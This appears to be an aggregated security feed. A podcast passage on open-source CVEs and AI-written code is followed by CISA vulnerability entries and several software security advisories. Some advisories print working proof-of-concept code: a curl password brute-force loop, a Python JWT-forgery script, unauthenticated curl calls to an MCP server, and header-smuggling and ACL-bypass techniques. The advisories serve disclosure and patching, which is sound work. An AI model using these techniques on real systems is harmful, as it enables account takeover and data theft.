Who are struggling with should they even allow an AI-generated PR? And if so, how do they review it? How do they validate it? How do they apply their trusted system to what is submitted? And I think that we’re watching that play out in real time. And I think open source is at a point where we’re collectively trying to navigate what the future looks like if everyone is using AI to write code now and distribute code and submit PRs and manage their projects, like what does that mean? And I think that we’re in the midst of probably a little bit of an existential crisis to say, how do we think about this going forward? What I think the process we have now is probably not going to work. If we’ve got a growing number of identified CVEs, we have to figure out a way to address those faster and faster and faster. And I think relying on pure humans alone, I don’t think is gonna help us navigate that effectively.
Sally (14:02)
Right. So the balance and the learning is happening all at once. And you just broke it down so well. Thinking about businesses, what is the cost to the business right now?
Abby Kearns (14:15)
The cost of the business is all of these open source projects, which going back to 98% of all of our software is open source, has more CVEs identified and exploitable than ever before. And the gap between a notification and identification and resolution is growing. So that means that every foundation and the fundamentals of everything that we’re writing is exposed.
So how do we close that gap? And do we invest more in these upstream projects to give them more contributors, more maintainers, more money, more dollars to help build out more automation? Do we go back to where everyone forks a version of each of these libraries, these projects, and is responsible for maintaining it themselves? Like, where do we fit in that? And I think everyone is choosing a different path right now.
My belief is that understanding at least what you have and or pulling from is a known good is a great way to start. That’s our bet here at ActiveState is that giving you a secure place to start and identifying when there are vulnerabilities, so at least you’re going into it aware is a great place to start. But I think that LLMs are introducing a ton of visibility and exposure risk.
And so we have to figure out how to navigate that with the tools that we have, which is becoming, I think, an active conversation. At ActiveState, it’s something we think about all the time because we’re focused just on language libraries, and that’s at the heart of everything that’s developed. So, how do we make sure that our customers, at least when they’re starting with the software they’re developing, have a secure foothold to start from?
And I think that from there, we’re gonna have to build out the collective community engagement to say, how do we maintain and mitigate the risk with more more identified CVEs?
Sally (16:13)
I love that, Abby. And you and the team at ActiveState are giving people a great place to start. I appreciate you walking me through that. I feel like I’m learning so much and this is so helpful for the community. We are now going to transition to the rapid fire round. So this is just fun. We do this on the podcast. I’m going to ask you a question, keep your answers to one sentence or less, and just say the first thing that comes to mind. Okay. Are you ready for the rapid fire round?
Abby Kearns (16:43)
I’m nervous but ready. Yes, let’s do it.
Sally (16:45)
Okay, nothing to be nervous about. No trick questions here. Okay, Abby, favorite open source mascot?
Abby Kearns (16:53)
Oh! That’s a tough one. Um…I don’t know. I think I like them all. Maybe the penguin?
Sally (17:03)
That’s a good answer. The penguin is so cute Tux. Especially because it’s the 35th birthday for Linux. So I think that’s strong. okay.
Abby Kearns (17:12)
My God, that makes me feel so old when you say that though. I’m like, Really? Really?
Sally (17:18)
Oh! Me too.
Abby Kearns (17:19)
Surely not. Surely that was like just fifteen years ago.
Sally (17:23)
Right? I know. okay. Switching it up to food. Mild or spicy?
Abby Kearns (17:29)
Spicy.
Sally (17:31)
Yeah. Favorite emoji.
Abby Kearns (17:34)
Is it my favorite or the one I use the most often? I’d say my favorite is probably the side eye, because I’m, you know, I think that’s that’s my but I I’d say my most use is probably like thumbs up.
Sally (17:49)
Totally. Checks out. Do you like podcasts or audiobooks better?
Abby Kearns (17:54)
both. I listen to both interchangeably. I think it just depends on my mood, but I do both. I’m a pretty aggressive user of both.
Sally (18:03)
Mm. Okay, this is random, but if you could time travel, would you go to the past or the future?
Abby Kearns (18:10)
I don’t know, probably definitely the past. I feel like the future is so unknown that I wouldn’t even know where to start.
Sally (18:17)
Good answer. All right. If listeners can take away just one thing from our conversation today, Abby, what would you want it to be?
Abby Kearns (18:26)
I would want it to be particularly given to the listeners of this podcast that there’s a huge opportunity for us to come together as a community. And I think open source is having a moment now that I think should really engage more open source participants and communities and contributors and maintainers in a much more meaningful way. I think there’s an opportunity for us to come together and figure out how to address these concerns. But I think it has to be open source driven, honestly.
Sally (18:57)
I agree. Thank you, Abby. And with that, I want to wish everyone a great day. Happy open sourcing. Stay safe and sound. And that’s a wrap.
Linux Kernel contains an improper check for unusual or exceptional conditions vulnerability in the TLS receive path which allows a zero-length record retrieved from the rx_list to bypass the intended recvmsg() record-type handling, potentially causing subsequent TLS records to be processed using incorrect zero-copy and queuing assumptions. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.
Required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Federal deadline: 2026-09-21. Used in ransomware: Unknown.
Linux Kernel contains a race condition vulnerability which allows concurrent writes to the same AF_ALG socket causing data to be unpredictably interleaved and creating inconsistencies in the socket's internal state.
Required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Federal deadline: 2026-09-21. Used in ransomware: Unknown.
Linux Kernel contains an out-of-bounds write vulnerability in the ebtables SNAT target which allows an ARP sender hardware address rewrite to write directly into a nonlinear socket-buffer fragment backed by a splice-imported file page. The impacted product(s) could be end-of-life (EoL) and/or end-of-service (EoS). Users are advised to discontinue use and/or transition to a supported version.
Required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Federal deadline: 2026-09-21. Used in ransomware: Unknown.
F5 BIG-IP APM contains a heap-based buffer overflow vulnerability when access policy and an OAuth profile are configured on a virtual server. This vulnerability could allow an unauthenticated attacker to perform remote code execution.
Required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Federal deadline: 2026-09-25. Used in ransomware: Unknown.
Arista VeloCloud Orchestrator (VCO) on-prem contains an improper input validation vulnerability that may allow a remote attacker to access privileged internal functionality and impact the VCO host. Successful exploitation may compromise the confidentiality, integrity, and availability of the orchestrator and data managed by the orchestrator.
Required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Federal deadline: 2026-09-25. Used in ransomware: Unknown.
Check Point Security Management Server, Multi-Domain Security Management Server, Log Server, Multi-Domain Log Server, and SmartEvent contain a path traversal vulnerability that allows an unauthenticated attacker to upload and execute arbitrary scripts.
Required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Federal deadline: 2026-09-25. Used in ransomware: Unknown.
Check Point Security Gateway and Check Point Spark Firewall using Site to Site VPN or Remote Access VPN contain an improper certificate validation vulnerability which could allow an unauthenticated remote attacker to execute arbitrary code on the Gateway.
Required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Federal deadline: 2026-09-25. Used in ransomware: Unknown.
Zyxel GS1900 series switches contain a stack-based buffer overflow vulnerability in the CGI program which could allow a LAN-based, unauthenticated attacker to exploit the flaw and potentially execute OS commands via a crafted HTTP request.
Required action: Apply mitigations in accordance with vendor instructions, ensuring compliance with CISA’s BOD 26-04 Prioritizing Security Updates Based on Risk (see URL in Notes) guidance and CISA’s “Forensics Triage Requirements” (see URL in Notes). Follow applicable BOD 26-04 guidance for cloud services or discontinue use of the product if mitigations are unavailable. Stakeholders are responsible for evaluating each asset's internet exposure and ensuring adherence to BOD 26-04 patching guidelines.
Federal deadline: 2026-09-24. Used in ransomware: Unknown.
Affects github.com/rabbitmq/amqp091-go. CVE-2026-77405.
## Summary A structural security weakness exists in the AMQP client's TLS configuration generator (`tlsConfigFromURI`). When constructing a `*tls.Config` object from an `amqps://` connection URI, the library initializes the structure without explicitly defining the `MinVersion` field.
While modern versions of the Go compiler toolchain (Go 1.18+) default the implicit minimum version to TLS 1.2, this security posture relies entirely on an implicit toolchain dependency. If the library is compiled using legacy Go toolchains (Go < 1.18), or if a future toolchain introduces fallback behavior, the client could silently negotiate obsolete and insecure TLS 1.0 or TLS 1.1 protocols during connection handshakes with a compromised or malicious AMQP broker.
---
## Vulnerability Details
### Mechanism The vulnerability lies in the lack of an explicit safety floor when assigning configurations inside the URI component:
```go // Example within uri.go's tlsConfigFromURI cfg := &tls.Config{ ServerName: host, // MinVersion is left completely unassigned (defaults to 0, or toolchain default) } ```
In the Go standard library (`crypto/tls`), leaving `MinVersion: 0` instructs the runtime to choose the toolchain's default minimum. Prior to Go 1.18, this default allowed negotiation down to TLS 1.0. Relying on implicit compiler configurations violates secure coding practices by decoupling the library's security posture from its source code, leaving applications vulnerable based solely on how they are built.
### Impact If a client application is built with a legacy compiler environment or a custom Go runtime, an attacker capable of executing a Man-in-the-Middle (MitM) attack can force the connection to downgrade to TLS 1.0 or 1.1. This exposes the AMQP protocol data stream to well-known cryptographic vulnerabilities (such as BEAST, POODLE, or SWEET32), allowing the attacker to decrypt or alter message payloads, connection parameters, and authentication credentials.
---
## Attack Vector An attacker performing a network-level downgrade attack can intercept a client connection built under a legacy toolchain:
1. **Interception:** A client application compiled on a legacy pipeline attempts to establish an encrypted connection to an AMQP broker. 2. **Protocol Downgrade:** The attacker intercepts the TLS Client Hello handshake and forces a downgrade negotiation to TLS 1.0. 3. **Cryptographic Exploitation:** Because `MinVersion` was never explicitly locked to `tls.VersionTLS12` by the library, the client accepts the weak cipher suites, allowing the attacker to monitor or manipulate the underlying AMQP session data.
Affects github.com/rabbitmq/amqp091-go. CVE-2026-77411.
**Summary**
A critical stream desynchronization vulnerability has been identified in the AMQP wire-protocol parser. When parsing a long string (`readLongstr`) within a table field, providing a length that exceeds the maximum signed 32-bit integer (`2^31 - 1`, or roughly `2.1` GiB) triggers an improper error-handling condition. The parser abruptly aborts the read and returns a success status (`"",nil`) without consuming the specified bytes from the underlying network buffer. This causes all subsequent read operations to become misaligned. The parser interprets arbitrary offsets within the remaining payload bytes as valid AMQP frame headers, leading to potential Remote Code Execution (RCE), data injection, or complete connection hijacking.
**Vulnerability Details**
The vulnerability exists within the bounds-checking logic of the readLongstr function: ```go // read.go:113-114 — silent no-op return, bytes left in stream if length > (^uint32(0) >> 1) { return // returns "", nil, does NOT consume `length` bytes } ``` When `length` evaluates to a value greater than `0x7FFFFFFF`:
1. The function executes a silent `return` statement. 2. Because Go utilizes named or zero-value initialization for unassigned return registers, this yields `"", nil` (indicating a successful read of an empty string). 3. The Critical Failure: The reader's cursor is not advanced by `length` bytes. The malformed payload remains sitting in the TCP/buffer stream.
**Impact**
As `readTable` continues iterating over the stream under the assumption that the string was successfully parsed, the byte alignment is entirely broken.
- Parser Desynchronization: Future AMQP frame headers are read from arbitrary offsets inside the attacker-controlled message payload. - Payload Reinterpretation: A malicious actor can carefully craft the trailing bytes of the initial payload to perfectly mimic valid AMQP frames (e.g., `connection.close`, `channel.open`, or message publishing frames), forcing the client/server to execute unintended actions.
Affects github.com/rabbitmq/amqp091-go. CVE-2026-77408.
## Summary A data integrity and protocol corruption vulnerability exists in the AMQP client's property serialization logic. When encoding AMQP short string (`shortstr`) fields—such as identifiers, routing strings, and content metadata—the length of the string is explicitly cast to a fixed-size 8-bit unsigned integer (`uint8`).
If an application provides a property string exceeding 255 bytes, the length counter silently wraps around (e.g., a length of 300 wraps to 44). As a result, the parser writes only a truncated portion of the string into the outgoing connection buffer without returning an error. This leads to silent data corruption, broken RPC routing, and unpredictable broker-side state behavior.
---
## Vulnerability Details
### Mechanism The vulnerability resides in the wire-level serialization logic for application publishing properties:
```go // write.go:246 length := uint8(len(b)) // wraps silently when len(b) > 255 (e.g., 300 -> 44) ```
Because Go allows silent integer truncation during explicit type casting, lengths larger than $2^8 - 1$ lose their most significant bits. The underlying stream writer reads `length` to determine how many bytes to pull from the buffer. Because no error or boundary check accompanies this truncation, the application believes the full payload was transmitted successfully.
### Affected Properties This truncation behavior affects every standard AMQP field serialized as a `shortstr`: * `CorrelationId` * `ReplyTo` * `MessageId` * `Expiration` * `UserId` * `AppId` * `ContentType` * `ContentEncoding` * `Type`
### Impact The critical consequence is **silent protocol desynchronization at the application layer**. The underlying TCP stream remains framed properly (because the shortened length matches the bytes written), but the business logic is corrupted. Distributed transactions, request-reply correlations, and tracing headers are truncated, causing downstream systems to drop messages or route them to incorrect consumers.
---
## Attack Vector An attacker who can influence metadata fields processed by an upstream application (such as a user-supplied tracking ID or a long content-type header) can exploit this to break system components:
1. **Targeting RPC Routing:** A user passes a malicious or overly long `CorrelationId` of 300 bytes through an application endpoint. 2. **Silent Truncation:** The library wraps the length value to 44, transmitting only the first 44 bytes to the rabbitMQ broker. 3. **Broken Correlation:** When the service processes the request and responds, the replying consumer attempts to route the message using the full 300-byte identifier. Because the broker only recognizes the truncated 44-byte ID, the reply loop breaks silently, leading to hanging processes or data leaks across transaction boundaries.
Affects @vendure/core. CVE-2026-63472.
# External-authentication account takeover: external login linked to a pre-existing account by email without requiring verification
**Package:** @vendure/core (vendure-ecommerce/vendure, latest master) ·
> [!IMPORTANT] > This vulnerability **only affects deployments that use external / social authentication** (an `AuthenticationStrategy` other than the built-in native email/password strategy) where that strategy can return an email address the external provider has **not verified** the user owns.
**You are affected if all of these are true:** - Your store configures one or more external `AuthenticationStrategy` implementations (custom OAuth / social login / SSO), **and** - At least one forwards an `emailAddress` to `ExternalAuthenticationService` without guaranteeing the provider verified ownership of it (e.g. it doesn't check the provider's `email_verified` claim, or leaves `verified` unset/false), **and** - Customer accounts exist that share an email address with those external identities.
**You are NOT affected if:** - You use only the built-in native (email/password) authentication with no external strategies, **or** - Every external strategy you use only ever returns provider-verified emails (and sets `verified: true`).
**Remediation:** Upgrade to **3.7.0**. After upgrading, an external login is only linked to a pre-existing account when the email is verified; a custom `AuthenticationStrategy` must set `verified: true` only for emails the provider has actually verified.
## Summary `ExternalAuthenticationService.createCustomerAndUser()` links a newly-presented external (OAuth/social) authentication method to a **pre-existing User account selected purely by email-address match**, and it does so **without requiring `config.verified === true`**. If any configured `AuthenticationStrategy` forwards an email that was not proven to belong to the external identity (the classic `email_verified` omission — common with custom OAuth providers, or providers/strategies that don't validate email ownership), an attacker can register at that provider using a victim's email address, authenticate, and have their external identity bound to the victim's existing Vendure account — resulting in account takeover.
## Vulnerable code `packages/core/src/service/helpers/external-authentication/external-authentication.service.ts` — `createCustomerAndUser`: ```ts const existingUser = await this.findExistingCustomerUserByEmailAddress(ctx, config.emailAddress); if (existingUser) { user = existingUser; // <-- links to the EXISTING account, by email alone } else { user = new User({ identifier: config.emailAddress, verified: config.verified || false, ... }); } const authMethod = await this.connection.getRepository(ctx, ExternalAuthenticationMethod).save( new ExternalAuthenticationMethod({ externalIdentifier: config.externalIdentifier, strategy: config.strategy }), ); user.authenticationMethods = [...(user.authenticationMethods || []), authMethod]; // <-- external login attached await this.connection.getRepository(ctx, User).save(user); ``` `config.verified` is used only to set `User.verified` and to write a `CUSTOMER_VERIFIED` history entry (later in the method) — it is **never** used to gate whether the external method may be attached to an existing account. So an unverified external email links to the victim's account just the same.
## Impact Account takeover of any customer whose email address an attacker can present (unverified) via an external auth provider — read/modify the victim's orders, addresses, and PII, and place orders as them. The blast radius depends on the deployed `AuthenticationStrategy`(ies): strategies that don't strictly require a provider-verified email (or providers that don't guarantee email ownership) are directly exploitable.
## Reproduction (conceptual) 1. Victim has a native Vendure customer account `victim@example.com`. 2. Attacker authenticates through an external provider configured on the store, presenting `emailAddress = victim@example.com` with `verified` unset/false (depending on the strategy/provider). 3. `createCustomerAndUser` finds the victim's existing User by email and attaches the attacker's `ExternalAuthenticationMethod`. 4. Attacker logs in via that external method → authenticated as the victim.
## Suggested fix Refuse to bind an external authentication method to a **pre-existing** account unless the email is provably verified, and prefer explicit, authenticated account-linking: ```ts if (existingUser) { if (!config.verified) { // Do not silently link an unverified external identity to an existing account. throw new EmailAddressConflictError(); // or require the user to link while logged in } user = existingUser; } ``` Document clearly that an `AuthenticationStrategy` MUST only set `verified: true` for provider-verified emails, and that linking to existing accounts requires it.
Affects lightrag-hku. CVE-2026-85734.
### Summary The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.
### Details
```python # lightrag/api/lightrag_server.py:2161 @app.post("/login") async def login(form_data: OAuth2PasswordRequestForm = Depends()): if not auth_handler.verify_password(username, form_data.password): raise HTTPException(status_code=401, detail="Incorrect credentials") # No: rate limit / lockout / backoff / CAPTCHA / attempt counter ```
A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.
### PoC
```bash # Brute-force /login with a wordlist, no throttling while IFS= read -r pass; do code=$(curl -s -o /dev/null -w "%{http_code}" \ -X POST http://<TARGET>:9621/login \ -d "username=admin&password=${pass}") [ "$code" = "200" ] && echo "[FOUND] $pass" && break done < /usr/share/wordlists/rockyou.txt ```
### Impact Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.
Affects mcp-atlassian. CVE-2026-77244.
**Description**
mcp-atlassian deploys in two common patterns:
Pattern A (single-user, server-side credentials): operator sets JIRA_USERNAME + JIRA_API_TOKEN (or CONFLUENCE_USERNAME + CONFLUENCE_API_TOKEN) in environment variables. Server uses these to call Jira/Confluence. This is the documented quickstart pattern.
Pattern B (multi-user, OAuth or per-request PAT): operator sets up OAuth proxy or accepts per-user tokens via Authorization or service headers.
The authentication mechanism in HTTP transport has two issues that combine to permit unauthenticated access to Pattern A deployments:
1. AtlassianOpaqueTokenVerifier.verify_token() at `src/mcp_atlassian/utils/token_verifier.py` accepts any non-empty string as a valid token:
async def verify_token(self, token: str) -> AccessToken | None: if not token: return None scopes = self.required_scopes or [] return AccessToken( token=token, client_id="atlassian", scopes=scopes, expires_at=int(time.time()) + 86400 * 30, )
The docstring documents this: "we accept non-empty tokens and attach the required scopes."
2. The default deployment does NOT enable the OAuth proxy auth provider (OAUTH_PROXY_ENABLE_ENV defaults to false; main.py:726). When `_build_auth_provider()` returns None, FastMCP HTTP transport accepts requests with no authentication challenge.
3. `UserTokenMiddleware._parse_auth_header` (main.py:601-664) extracts tokens from Authorization headers and stores them in scope state. If NO Authorization header is present (main.py:584-595), the middleware does not reject the request — it simply does not populate `user_atlassian_token`.
4. JiraFetcher / ConfluenceFetcher fall back to `JiraConfig.from_env()` when no user-supplied token is in scope state. `from_env()` reads `JIRA_API_TOKEN` and `JIRA_USERNAME` from environment and uses them as the API credentials.
Composition: an attacker who reaches the HTTP transport (e.g., server exposed on a port reachable from attacker — direct bind, Docker port mapping, reverse proxy without auth, container in a network the attacker joined) can:
- Send no Authorization header at all, OR - Send any garbage Bearer token
Either request reaches tool handlers. The tool handlers, finding no user-supplied token, use the server's env-var credentials to call Jira / Confluence. The attacker has full operator-level access to the operator's Atlassian instance.
This is the same vulnerability class as CVE-2026-27825 (Arctic Wolf, unauthenticated RCE+SSRF in Atlassian MCP). The previous CVE was for a different code path; this report concerns the auth verifier and middleware behavior present in the current main branch. ``` **Steps to Reproduce**
Source-level demonstration:
1. Verify the verifier accepts arbitrary tokens:
cd src/ python -c " import asyncio from mcp_atlassian.utils.token_verifier import AtlassianOpaqueTokenVerifier v = AtlassianOpaqueTokenVerifier(required_scopes=['read:jira-work']) result = asyncio.run(v.verify_token('anything-at-all')) print('Accepted:', result is not None) print('Token stored:', result.token if result else None) print('Scopes granted:', result.scopes if result else None) "
Expected: Accepted: True Token stored: anything-at-all Scopes granted: ['read:jira-work']
End-to-end (researcher's own Atlassian sandbox):
1. Start mcp-atlassian in HTTP mode against a researcher-owned Atlassian Cloud instance with JIRA_API_TOKEN configured:
export JIRA_URL=https://researcher.atlassian.net export JIRA_USERNAME=researcher@example.com export JIRA_API_TOKEN=<researcher's-real-token> export MCP_TRANSPORT=streamable-http export PORT=3000 # Do NOT set OAUTH_PROXY_ENABLE_ENV — leave it default (false) mcp-atlassian
2. From another machine (or curl on localhost), with no auth:
curl -X POST http://localhost:3000/mcp \ -H "content-type: application/json" \ -H "accept: application/json, text/event-stream" \ -d '{ "jsonrpc":"2.0", "id":1, "method":"tools/call", "params":{ "name":"jira_get_issue", "arguments":{"issue_key":"PROJ-1"} } }'
Expected: returns the Jira issue payload — using the server's JIRA_API_TOKEN to authenticate to Atlassian. No client-side token provided.
3. Optional: same call with a garbage Bearer for completeness:
curl ... -H "Authorization: Bearer anything-at-all" ...
Same result.
**Impact**:
Attacker profile: any party with network reach to the HTTP transport. No credentials, no prior account, no privileged position required.
Typical deployment patterns at risk:
- Docker compose with port exposed (very common in mcp-atlassian's docs and community deployments) - Cloud-deployed MCP server behind a load balancer where the LB doesn't enforce auth (delegates to the application) - Internal corporate network where any employee can reach the server - Misconfigured Kubernetes ingress - Tunneled MCP server via ngrok / Cloudflare Tunnel for development that gets left exposed
Security impact after exploitation:
1. Full Jira read access. Every project, every issue, every comment, every attachment, every user — using the operator's API token.
2. Full Jira write access. Create, edit, delete issues. Add comments under the operator's identity. Move issues across boards. Bulk-edit.
3. Full Confluence read/write access. Same surface — pages, spaces, attachments, permissions, restricted spaces visible to the operator's identity.
4. Audit trail names the operator. Every API call is signed with the operator's token. From Atlassian's logging side, the operator is the actor — covering the attacker's tracks and shifting blame.
5. Pivot. Attachments often contain credentials, infrastructure diagrams, customer data. Confluence pages often store secrets in plaintext under the assumption of access control.
6. Persistence. Attacker can create new Jira webhooks, automation rules, or Confluence integrations that survive beyond the MCP session.
CVE-2026-27825 (Arctic Wolf, May 2026) was scored CVSS 9.8 Critical for unauth RCE+SSRF in this same code surface. This report is the auth-bypass component of the same class against the current main branch.
**Suggested Fix**
The most direct fix is the standard MCP-server-with-env-creds pattern:
1. When OAUTH_PROXY_ENABLE_ENV is not set, REFUSE to start the HTTP transport unless an explicit "single-user mode" flag is set:
SINGLE_USER_MODE = is_env_truthy("MCP_ATLASSIAN_SINGLE_USER") if MCP_TRANSPORT == "streamable-http" and not auth_provider and not SINGLE_USER_MODE: raise SystemExit( "HTTP transport requires either OAUTH_PROXY_ENABLE=true " "or MCP_ATLASSIAN_SINGLE_USER=true (acknowledges that env " "credentials will be used for any incoming request)." )
2. Even with SINGLE_USER_MODE, bind the HTTP transport to 127.0.0.1 by default unless the operator overrides with an explicit MCP_ATLASSIAN_BIND_PUBLIC=true.
3. Document the multi-tenant pattern as requiring OAuth proxy or per-request user-token middleware with a verifier that actually verifies (not the opaque-accept-anything stub).
4. Replace AtlassianOpaqueTokenVerifier with a verifier that performs a token-info or whoami call to Atlassian. The fact that Atlassian tokens are opaque does not preclude verification — a /rest/api/3/myself call validates the token and returns the associated user, which the verifier can attach to the AccessToken's scopes and user_id fields.
Defense in depth: the README quickstart should not encourage exposing the HTTP transport without auth. The docker-compose.yml in the repo should bind to 127.0.0.1 only by default.
Affects github.com/kcp-dev/kcp. CVE-2026-61682.
# Summary
The kcp front-proxy fails to strip client-supplied identity headers before forwarding requests to shards. Any authenticated tenant can inject their own `X-Remote-Group` and `X-Remote-Extra-*` headers, which the shard trusts as a verified identity assertion — allowing a low-privilege user to escalate to cluster administrator (`system:masters`) and read, write, or delete resources in any workspace on the shard. This is a complete multi-tenant isolation and authorization bypass.
## Impact
In a sharded kcp deployment, external clients reach shards through the front-proxy, which authenticates the client and then forwards the resulting identity to the shard using Kubernetes request-header authentication (`X-Remote-User` / `X-Remote-Group` / `X-Remote-Extra-*`). The shard trusts these headers because they arrive over the front-proxy's mutually-authenticated connection.
Because the front-proxy appended its identity headers instead of replacing them — and never removed any copies the client sent — an authenticated attacker could smuggle forged identity headers through to the shard. With this, an attacker holding any ordinary credential (client certificate, OIDC token, or service-account token) and no special privileges could:
- assert `X-Remote-Group: system:masters` and act as cluster super-user, bypassing the entire kcp authorizer chain in every workspace on the shard; - forge `authorization.kcp.io/warrant` to assume an arbitrary user/group identity via kcp's delegated-identity mechanism; - forge `authentication.kcp.io/scopes` to escape the cluster-scoping that confines service-account and impersonated identities to their origin workspace; - satisfy per-workspace required-group gating by injecting the required group.
The result is arbitrary read/write/delete access to any tenant's resources, secrets, RBAC, APIExports/APIBindings, and LogicalClusters — a cross-workspace access break and authorizer bypass across the proxy's trust boundary.
# Patches Fixed in v0.31.4, 0.32.2. The front-proxy and the shard's in-process local-proxy now unconditionally remove any inbound `X-Remote-*` identity headers before stamping the authenticated identity, so no client-supplied value can be forwarded to a shard.
Operators should upgrade to a patched release. No configuration changes are required after upgrading.
# Workarounds
There is no complete workaround other than upgrading. Deployments that terminate client connections at an external proxy capable of stripping `X-Remote-User`, `X-Remote-Group`, and all `X-Remote-Extra-*` headers from inbound requests before they reach the kcp front-proxy can mitigate exposure in the interim.
Credit to [5ud0er](https://github.com/5ud0er) / Tarmo Technologies.
Affects mnemosyne-memory. CVE-2026-59163.
### Summary
The Mnemosyne sync server's authentication check decoded JWT bearer tokens but never verified their HMAC-SHA256 signatures. Any well-formed token was accepted, allowing an unauthenticated attacker to impersonate any user and read or modify their sync data.
**Severity: Critical**
CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1
Assumes the sync server endpoint is network-reachable. If your deployment is localhost-only, the score drops substantially and severity becomes High or Medium depending on local exposure. Confirm your threat model.
### Affected versions
All mnemosyne versions exposing the sync server endpoint, up to and including v3.10.0.
### Patched versions
v3.10.1 (commit a0b6b871 on branch security/jwt-signature-verification)
___
### Description
The sync server uses JWT bearer tokens to authenticate clients. Prior to v3.10.1, the auth check in mnemosyne/core/sync_server.py parsed the JWT's header and payload using base64 decoding, then passed the token to a jwt library call with options that effectively disabled signature verification. The server accepted any well-formed token regardless of the signature, including tokens with alg: none and tokens signed with the wrong key.
The fix in v3.10.1 replaces the broken decode with a from-scratch HS256 verifier using only the Python standard library:
- Constant-time signature comparison via hmac.compare_digest - Strict alg: HS256 check, rejecting none and other algorithms - UTC-aware exp validation with leeway - Loud errors with specific failure reasons - Type validation of decoded payload before use
### Impact
An attacker with network access to the sync server can:
- Forge a JWT for any user_id without knowing the secret - Authenticate as that user to /sync/status, /sync/push, and /sync/pull - Read the victim's sync state - Push malicious sync state to corrupt the victim's local database - Pivot within a shared deployment (multi-user sync server)
Confidentiality and integrity of sync data are fully compromised for the duration of exposure. There is no impact on the server's availability.
### Reproduction
```python import base64 import json import requests
# Forge a JWT for any user. No secret required. def forge_jwt(user_id): header = base64.urlsafe_b64encode( json.dumps({"alg": "HS256", "typ": "JWT"}).encode() ).rstrip(b"=") payload = base64.urlsafe_b64encode( json.dumps({"user_id": user_id, "exp": 9999999999}).encode() ).rstrip(b"=") sig = b"" return f"{header.decode()}.{payload.decode()}."
r = requests.get( "https://target.example.com/sync/status", headers={"Authorization": f"Bearer {forge_jwt('victim-user-id')}"}, ) print(r.status_code, r.json()) ```
A 200 OK response with valid sync status payload confirms the bypass. The attack requires no credentials, no secret, and no prior access.
### Mitigation
Upgrade to v3.10.1.
For users who cannot upgrade immediately:
- Restrict network access to the sync server endpoint to trusted clients only. Firewall, reverse proxy with mTLS, or localhost bind with SSH tunnel are all viable. - The vulnerability is not exploitable against an unreachable endpoint.
### Workarounds
None. The patch is required to restore authentication integrity.
### Credits
- Reporter: Denis Hache (dplush). Reported via private channel on 2026-06-13 with full reproduction and a coordinated disclosure window. - Fix: Denis Hache
### Timeline - 2026-06-13: Initial report received from Denis via private channel.
Affects io.moquette:moquette-broker. CVE-2026-85724.
moquette is reachable by untrusted MQTT clients (anonymous by default), so every byte from any client, including pre-authentication, is untrusted. This is a memory-safe JVM: the ceiling is authorization/ACL bypass + denial of service + cross-session integrity, **not RCE** (I did not find one and do not claim one). Audited at commit `da7f719a6bab9829d520b5838e13ea7b1f9be3ef`, module `broker/`.
## What a connecting client can do
1. (Critical) Bypass `pattern`-based ACLs across tenants. In `AuthorizationsCollector.canDoOperation` (AuthorizationsCollector.java:116-131, esp. line 123) the clientId/username is substituted raw into a pattern ACL rule and then wildcard-matched, and the clientId is never validated for MQTT wildcard characters +/# at CONNECT (MQTTConnection.processConnect):
Topic substitutedTopic = new Topic(auth.topic.toString().replace("%c", client).replace("%u", username)); if (topic.match(substitutedTopic)) return true;
A client that connects with clientId + turns sensor/%c/# into the filter sensor/+/#, gaining cross-tenant read AND write. (Precondition: pattern ACL rules configured — a common multi-tenant setup.)
